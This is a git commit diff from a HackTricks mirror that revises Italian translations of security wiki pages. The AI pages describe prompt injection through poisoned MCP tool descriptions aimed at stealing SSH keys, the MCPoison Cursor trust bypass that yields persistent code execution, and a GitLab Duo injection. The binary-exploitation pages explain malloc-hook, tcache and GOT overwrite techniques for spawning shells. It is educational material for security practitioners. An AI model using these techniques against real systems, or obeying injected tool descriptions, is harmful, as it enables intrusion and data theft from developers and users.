maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/bypass-bash-restrictions/README.md', 's

Browse Source
This commit is contained in:
Translator 2025-08-21 16:17:42 +00:00
parent bba836d2c2
commit aa3c56a260
245 changed files with 4044 additions and 3247 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
src/AI/AI-MCP-Servers.md
View File

@ -47,13 +47,13 @@ Per ulteriori informazioni su Prompt Injection controlla:
AI-Prompts.md
{{#endref}}
## Vulnerabilità MCP
## Vuln MCP
> [!CAUTION]
> I server MCP invitano gli utenti ad avere un agente AI che li aiuti in ogni tipo di attività quotidiana, come leggere e rispondere a email, controllare problemi e pull request, scrivere codice, ecc. Tuttavia, ciò significa anche che l'agente AI ha accesso a dati sensibili, come email, codice sorgente e altre informazioni private. Pertanto, qualsiasi tipo di vulnerabilità nel server MCP potrebbe portare a conseguenze catastrofiche, come l'exfiltrazione di dati, l'esecuzione remota di codice o addirittura il compromesso completo del sistema.
> I server MCP invitano gli utenti ad avere un agente AI che li aiuti in ogni tipo di attività quotidiana, come leggere e rispondere a email, controllare problemi e richieste di pull, scrivere codice, ecc. Tuttavia, ciò significa anche che l'agente AI ha accesso a dati sensibili, come email, codice sorgente e altre informazioni private. Pertanto, qualsiasi tipo di vulnerabilità nel server MCP potrebbe portare a conseguenze catastrofiche, come esfiltrazione di dati, esecuzione remota di codice o addirittura compromissione completa del sistema.
> Si raccomanda di non fidarsi mai di un server MCP che non controlli.
### Prompt Injection tramite Dati MCP Diretti | Attacco di Salto di Linea | Avvelenamento degli Strumenti
### Prompt Injection tramite Dati Diretti MCP | Attacco Line Jumping | Avvelenamento degli Strumenti
Come spiegato nei blog:
- [MCP Security Notification: Tool Poisoning Attacks](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks)
@ -61,7 +61,7 @@ Come spiegato nei blog:
Un attore malintenzionato potrebbe aggiungere strumenti involontariamente dannosi a un server MCP, o semplicemente cambiare la descrizione degli strumenti esistenti, che dopo essere stati letti dal client MCP, potrebbero portare a comportamenti inaspettati e non notati nel modello AI.
Ad esempio, immagina una vittima che utilizza Cursor IDE con un server MCP fidato che diventa malintenzionato e ha uno strumento chiamato `add` che somma 2 numeri. Anche se questo strumento ha funzionato come previsto per mesi, il manutentore del server MCP potrebbe cambiare la descrizione dello strumento `add` in una descrizione che invita gli strumenti a eseguire un'azione dannosa, come l'exfiltrazione di chiavi ssh:
Ad esempio, immagina una vittima che utilizza Cursor IDE con un server MCP fidato che diventa malintenzionato e ha uno strumento chiamato `add` che somma 2 numeri. Anche se questo strumento ha funzionato come previsto per mesi, il manutentore del server MCP potrebbe cambiare la descrizione dello strumento `add` in una descrizione che invita gli strumenti a eseguire un'azione dannosa, come l'esfiltrazione di chiavi ssh:
```python
@mcp.tool()
def add(a: int, b: int) -> int:
@ -93,9 +93,9 @@ Un utente che sta dando accesso ai propri repository Github a un client potrebbe
AI-Prompts.md
{{#endref}}
Inoltre, in [**questo blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) viene spiegato come sia stato possibile abusare dell'agente AI di Gitlab per eseguire azioni arbitrarie (come modificare codice o esfiltrare codice), ma iniettando prompt malevoli nei dati del repository (anche offuscando questi prompt in modo che il LLM comprendesse ma l'utente no).
Inoltre, in [**questo blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) viene spiegato come sia stato possibile abusare dell'agente AI di Gitlab per eseguire azioni arbitrarie (come modificare codice o esfiltrare codice), ma iniettando prompt malevoli nei dati del repository (anche offuscando questi prompt in un modo che il LLM comprenderebbe ma l'utente no).
Nota che i prompt indiretti malevoli si troverebbero in un repository pubblico che l'utente vittima starebbe utilizzando, tuttavia, poiché l'agente ha ancora accesso ai repository dell'utente, sarà in grado di accedervi.
Nota che i prompt indiretti malevoli sarebbero situati in un repository pubblico che l'utente vittima starebbe utilizzando, tuttavia, poiché l'agente ha ancora accesso ai repository dell'utente, sarà in grado di accedervi.
### Esecuzione di Codice Persistente tramite Bypass della Fiducia MCP (Cursor IDE – "MCPoison")
@ -127,15 +127,15 @@ Questo difetto logico (CVE-2025-54136, alias **MCPoison**) consente a chiunque p
}
}
```
4. Quando il repository si sincronizza (o l'IDE si riavvia) Cursor esegue il nuovo comando **senza alcun ulteriore prompt**, concedendo l'esecuzione di codice remoto nella workstation dello sviluppatore.
4. Quando il repository si sincronizza (o l'IDE si riavvia) Cursor esegue il nuovo comando **senza alcun prompt aggiuntivo**, concedendo l'esecuzione di codice remoto nella workstation dello sviluppatore.
Il payload può essere qualsiasi cosa l'utente OS corrente può eseguire, ad esempio un file batch di reverse-shell o un one-liner di Powershell, rendendo la backdoor persistente attraverso i riavvii dell'IDE.
Il payload può essere qualsiasi cosa che l'utente OS attuale può eseguire, ad esempio un file batch di reverse-shell o un one-liner di Powershell, rendendo la backdoor persistente attraverso i riavvii dell'IDE.
#### Rilevamento e Mitigazione
* Aggiorna a **Cursor ≥ v1.3** – la patch costringe a una nuova approvazione per **qualsiasi** modifica a un file MCP (anche spazi bianchi).
* Tratta i file MCP come codice: proteggili con revisione del codice, protezione dei branch e controlli CI.
* Per le versioni legacy puoi rilevare differenze sospette con i Git hooks o un agente di sicurezza che monitora i percorsi `.cursor/`.
* Per le versioni legacy puoi rilevare differenze sospette con Git hooks o un agente di sicurezza che monitora i percorsi `.cursor/`.
* Considera di firmare le configurazioni MCP o di conservarle al di fuori del repository in modo che non possano essere modificate da collaboratori non fidati.
## Riferimenti

14
src/AI/AI-llm-architecture/README.md
View File

@ -8,6 +8,7 @@
Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti conoscere:
{{#ref}}
0.-basic-llm-concepts.md
{{#endref}}
@ -17,6 +18,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'obiettivo di questa fase iniziale è molto semplice: **Dividere l'input in token (ids) in un modo che abbia senso**.
{{#ref}}
1.-tokenizing.md
{{#endref}}
@ -26,6 +28,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'obiettivo di questa seconda fase è molto semplice: **Campionare i dati di input e prepararli per la fase di addestramento solitamente separando il dataset in frasi di una lunghezza specifica e generando anche la risposta attesa.**
{{#ref}}
2.-data-sampling.md
{{#endref}}
@ -34,9 +37,10 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario sarà un punto in uno spazio di X dimensioni.\
> Nota che inizialmente la posizione di ogni parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
> Nota che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
>
> Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in diverse posizioni nella frase avrà una rappresentazione (significato) diversa.
> Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione diversa (significato).
{{#ref}}
3.-token-embeddings.md
@ -48,6 +52,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> L'obiettivo di questa quarta fase è molto semplice: **Applicare alcuni meccanismi di attenzione**. Questi saranno molti **layer ripetuti** che andranno a **catturare la relazione di una parola nel vocabolario con i suoi vicini nella frase attuale utilizzata per addestrare il LLM**.\
> Vengono utilizzati molti layer per questo, quindi molti parametri addestrabili andranno a catturare queste informazioni.
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
@ -59,6 +64,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
>
> Questa architettura sarà utilizzata sia per l'addestramento che per la previsione del testo dopo che è stato addestrato.
{{#ref}}
5.-llm-architecture.md
{{#endref}}
@ -68,6 +74,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'obiettivo di questa sesta fase è molto semplice: **Addestrare il modello da zero**. Per questo verrà utilizzata l'architettura LLM precedente con alcuni cicli sui dataset utilizzando le funzioni di perdita e l'ottimizzatore definiti per addestrare tutti i parametri del modello.
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
@ -77,6 +84,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'uso di **LoRA riduce notevolmente il calcolo** necessario per **ottimizzare** modelli già addestrati.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
@ -86,6 +94,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'obiettivo di questa sezione è mostrare come ottimizzare un modello già pre-addestrato in modo che, invece di generare nuovo testo, il LLM fornisca le **probabilità che il testo fornito venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno).
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
@ -95,6 +104,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'obiettivo di questa sezione è mostrare come **ottimizzare un modello già pre-addestrato per seguire istruzioni** piuttosto che semplicemente generare testo, ad esempio, rispondendo a compiti come un chatbot.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}

16
src/AI/README.md
View File

@ -6,18 +6,22 @@
Il miglior punto di partenza per imparare sull'AI è comprendere come funzionano i principali algoritmi di apprendimento automatico. Questo ti aiuterà a capire come funziona l'AI, come usarla e come attaccarla:
{{#ref}}
./AI-Supervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Unsupervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Reinforcement-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Deep-Learning.md
{{#endref}}
@ -26,16 +30,18 @@ Il miglior punto di partenza per imparare sull'AI è comprendere come funzionano
Nella pagina seguente troverai le basi di ciascun componente per costruire un LLM di base utilizzando i trasformatori:
{{#ref}}
AI-llm-architecture/README.md
{{#endref}}
## Sicurezza dell'AI
## Sicurezza AI
### Framework di Rischio AI
In questo momento, i principali 2 framework per valutare i rischi dei sistemi AI sono l'OWASP ML Top 10 e il Google SAIF:
{{#ref}}
AI-Risk-Frameworks.md
{{#endref}}
@ -44,6 +50,7 @@ AI-Risk-Frameworks.md
Gli LLM hanno fatto esplodere l'uso dell'AI negli ultimi anni, ma non sono perfetti e possono essere ingannati da prompt avversari. Questo è un argomento molto importante per capire come usare l'AI in modo sicuro e come attaccarla:
{{#ref}}
AI-Prompts.md
{{#endref}}
@ -52,13 +59,15 @@ AI-Prompts.md
È molto comune per sviluppatori e aziende eseguire modelli scaricati da Internet, tuttavia caricare un modello potrebbe essere sufficiente per eseguire codice arbitrario sul sistema. Questo è un argomento molto importante per capire come usare l'AI in modo sicuro e come attaccarla:
{{#ref}}
AI-Models-RCE.md
{{#endref}}
### Protocollo di Contesto del Modello AI
### Protocollo di Contesto dei Modelli AI
MCP (Model Context Protocol) è un protocollo che consente ai client agenti AI di connettersi con strumenti esterni e fonti di dati in modo plug-and-play. Questo abilita flussi di lavoro complessi e interazioni tra modelli AI e sistemi esterni:
MCP (Model Context Protocol) è un protocollo che consente ai client agenti AI di connettersi a strumenti esterni e fonti di dati in modo plug-and-play. Questo abilita flussi di lavoro complessi e interazioni tra modelli AI e sistemi esterni:
{{#ref}}
AI-MCP-Servers.md
@ -66,6 +75,7 @@ AI-MCP-Servers.md
### Fuzzing Assistito da AI e Scoperta Automatica di Vulnerabilità
{{#ref}}
AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
{{#endref}}

10
src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
View File

@ -6,7 +6,7 @@
Come puoi vedere nel [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()`, **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget**, ad esempio, e viene chiamato `malloc`, il **One Gadget verrà chiamato**.
Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")`**, che alloca troppi byte, facendo sì che `libc` chiami malloc per allocarli nell'heap.
Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")**, che alloca troppi byte, costringendo `libc` a chiamare malloc per allocarli nell'heap.
Ulteriori informazioni su One Gadget in:
@ -59,8 +59,8 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito.
- Per questo, viene creato un nuovo chunk di dimensione `0xfc` e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin.
- Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**.
- Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
- Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
- Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
- E infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
---
@ -76,7 +76,7 @@ Conseguenze per lo sfruttamento:
1. Un **heap leak** è obbligatorio – l'attaccante deve conoscere il valore di runtime di `chunk_addr >> 12` per creare un puntatore offuscato valido.
2. Solo il puntatore a 8 byte *completo* può essere falsificato; sovrascritture parziali di un byte non supereranno il controllo.
Un primitivo minimo di tcache-poisoning che sovrascrive `__free_hook` su glibc 2.32/2.33 quindi appare come:
Un primitivo di avvelenamento tcache minimo che sovrascrive `__free_hook` su glibc 2.32/2.33 quindi appare come:
```py
from pwn import *
@ -129,7 +129,7 @@ Se hai ancora bisogno del vecchio comportamento per il debug, glibc fornisce `li
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking – Eliminazione di un primitivo di exploit malloc() vecchio di 20 anni (Check Point Research, 2020)
- Safe-Linking – Eliminazione di un primitivo di exploit malloc() di 20 anni (Check Point Research, 2020)
- Note di rilascio di glibc 2.34 – rimozione dei ganci malloc
{{#include ../../banners/hacktricks-training.md}}

11
src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
View File

@ -26,7 +26,7 @@ Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`**
Osserva come dopo **il caricamento** dell'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nella **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Utilizzando GEF puoi **iniziare** una sessione di **debugging** ed eseguire **`got`** per vedere la tabella got:
@ -36,9 +36,9 @@ Utilizzando GEF puoi **iniziare** una sessione di **debugging** ed eseguire **`g
In un binario la GOT ha gli **indirizzi delle funzioni o** della **sezione PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** della PLT della **funzione** **`system`** ad esempio.
Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (quindi sarai in grado di controllare i parametri inviati alla funzione di sistema).
Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (in modo da poter controllare i parametri inviati alla funzione system).
Se **`system`** **non è utilizzato** dal binario, la funzione di sistema **non avrà** un'entrata nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
Se **`system`** **non è utilizzato** dal binario, la funzione system **non avrà** un'entrata nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`**
@ -46,7 +46,7 @@ Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`**
La **GOT di libc** è solitamente compilata con **RELRO parziale**, rendendola un buon obiettivo per questo supponendo sia possibile capire il suo indirizzo ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Le funzioni comuni di libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice.
Le funzioni comuni della libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice.
Trova [**maggiori informazioni su questa tecnica qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
@ -62,13 +62,14 @@ Inoltre, se `puts` viene utilizzato con input dell'utente, è possibile sovrascr
## **One Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusare della GOT dall'Heap**
Un modo comune per ottenere RCE da una vulnerabilità dell'heap è abusare di un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, quindi ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\
Un modo comune per ottenere RCE da una vulnerabilità dell'heap è abusare di un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, così ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\
Poi, puntando `free` a `system` e liberando un chunk dove è stato scritto `/bin/sh\x00` eseguirà una shell.
È possibile trovare un [**esempio qui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**

58
src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
View File

@ -1,8 +1,8 @@
# Basic Binary Exploitation Methodology
# Metodologia di Base per l'Exploitation Binaria
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## Informazioni di Base su ELF
Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte della struttura di un **ELF binary**:
@ -10,26 +10,26 @@ Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte
elf-tricks.md
{{#endref}}
## Exploiting Tools
## Strumenti di Exploitation
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## Metodologia di Stack Overflow
Con così tante tecniche, è utile avere uno schema su quando ciascuna tecnica sarà utile. Nota che le stesse protezioni influenzeranno tecniche diverse. Puoi trovare modi per bypassare le protezioni in ciascuna sezione di protezione, ma non in questa metodologia.
## Controlling the Flow
## Controllare il Flusso
Ci sono diversi modi in cui potresti finire per controllare il flusso di un programma:
- [**Stack Overflows**](../stack-overflow/index.html) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP.
- Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare il overflow.
- Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow.
- Oppure tramite **Arbitrary Writes + Write What Where to Execution**.
- [**Format strings**](../format-strings/index.html)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari.
- [**Array Indexing**](../array-indexing.md): Abusare di un indicizzazione mal progettata per poter controllare alcuni array e ottenere una scrittura arbitraria.
- Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare il overflow.
- Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow.
- **bof to WWW via ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW.
Puoi trovare le tecniche di **Write What Where to Execution** in:
@ -38,41 +38,41 @@ Puoi trovare le tecniche di **Write What Where to Execution** in:
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## Loop Eterni
Qualcosa da tenere in considerazione è che di solito **solo un sfruttamento di una vulnerabilità potrebbe non essere sufficiente** per eseguire un exploit con successo, specialmente alcune protezioni devono essere bypassate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binary:
Qualcosa da tenere in considerazione è che di solito **solo un exploitation di una vulnerabilità potrebbe non essere sufficiente** per eseguire un exploit con successo, specialmente alcune protezioni devono essere bypassate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binary:
- Scrivere in una **ROP** chain l'indirizzo della **funzione `main`** o l'indirizzo in cui si verifica la **vulnerabilità**.
- Controllando una corretta ROP chain potresti essere in grado di eseguire tutte le azioni in quella catena.
- Scrivere nell'indirizzo **`exit` in GOT** (o qualsiasi altra funzione utilizzata dal binary prima di terminare) l'indirizzo per **tornare alla vulnerabilità**.
- Scrivere in una **catena ROP** l'indirizzo della **funzione `main`** o l'indirizzo in cui si verifica la **vulnerabilità**.
- Controllando una catena ROP appropriata, potresti essere in grado di eseguire tutte le azioni in quella catena.
- Scrivere nell'**indirizzo `exit` in GOT** (o qualsiasi altra funzione utilizzata dal binary prima di terminare) l'indirizzo per **tornare alla vulnerabilità**.
- Come spiegato in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per chiamare di nuovo la vuln e un'altra per chiamare **`__libc_csu_fini`** che richiamerà di nuovo la funzione da `.fini_array`.
## Exploitation Goals
## Obiettivi di Exploitation
### Goal: Call an Existing function
### Obiettivo: Chiamare una Funzione Esistente
- [**ret2win**](#ret2win): C'è una funzione nel codice che devi chiamare (forse con alcuni parametri specifici) per ottenere il flag.
- In un **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) devi solo scrivere l'indirizzo nel puntatore di ritorno memorizzato nello stack.
- In un **bof regolare senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) devi solo scrivere l'indirizzo nel puntatore di ritorno memorizzato nello stack.
- In un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), dovrai bypassarlo.
- In un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), dovrai bypassarlo.
- Se hai bisogno di impostare diversi parametri per chiamare correttamente la funzione **ret2win** puoi usare:
- Una [**ROP**](#rop-and-ret2...-techniques) **chain se ci sono abbastanza gadget** per preparare tutti i parametri.
- Se hai bisogno di impostare diversi parametri per chiamare correttamente la funzione **ret2win**, puoi usare:
- Una [**catena ROP**](#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (nel caso tu possa chiamare questa syscall) per controllare molti registri.
- Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri.
- Tramite un [**Write What Where**](../arbitrary-write-2-exec/index.html) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) potrebbero influenzare gli indirizzi.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
- [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
### Goal: RCE
### Obiettivo: RCE
#### Via shellcode, se nx disabilitato o mescolando shellcode con ROP:
- [**(Stack) Shellcode**](#stack-shellcode): Questo è utile per memorizzare uno shellcode nello stack prima o dopo aver sovrascritto il puntatore di ritorno e poi **saltare a esso** per eseguirlo:
- **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** in un regular bof dovrai bypassarlo (leak).
- **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** in un bof regolare dovrai bypassarlo (leak).
- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai.
- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltare a esso.
- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai usare alcuni [**ROP**](../rop-return-oriented-programing/index.html) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando read ad esempio) e poi saltare lì.
- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai utilizzare alcuni [**ROP**](../rop-return-oriented-programing/index.html) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando read ad esempio) e poi saltare lì.
- Questo mescolerà shellcode con una catena ROP.
#### Via syscalls
@ -84,16 +84,16 @@ Qualcosa da tenere in considerazione è che di solito **solo un sfruttamento di
#### Via libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (ad es. `'/bin/sh'`). Devi che il binary **carichi la libreria** con la funzione che desideri chiamare (libc di solito).
- Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conoscendo la libc e con il binary che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system nel GOT** con l'indirizzo di `'/bin/sh'` nel parametro (dovrai scoprirlo).
- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ma senza [PIE](../common-binary-protections-and-bypasses/pie/index.html), conoscendo la libc e **senza che il binary utilizzi la `system`** :
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (es. `'/bin/sh'`). Devi che il binary **carichi la libreria** con la funzione che desideri chiamare (libc di solito).
- Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile utilizzarli staticamente.
- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile utilizzarli staticamente.
- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conoscendo la libc e con il binary che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system in GOT** con l'indirizzo di `'/bin/sh'` nel parametro (dovrai scoprirlo).
- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ma senza [PIE](../common-binary-protections-and-bypasses/pie/index.html), conoscendo la libc e **senza che il binary utilizzi la `system`**:
- Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) per risolvere l'indirizzo di `system` e chiamarlo.
- **Bypassa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) e calcola l'indirizzo di `system` e `'/bin/sh'` in memoria.
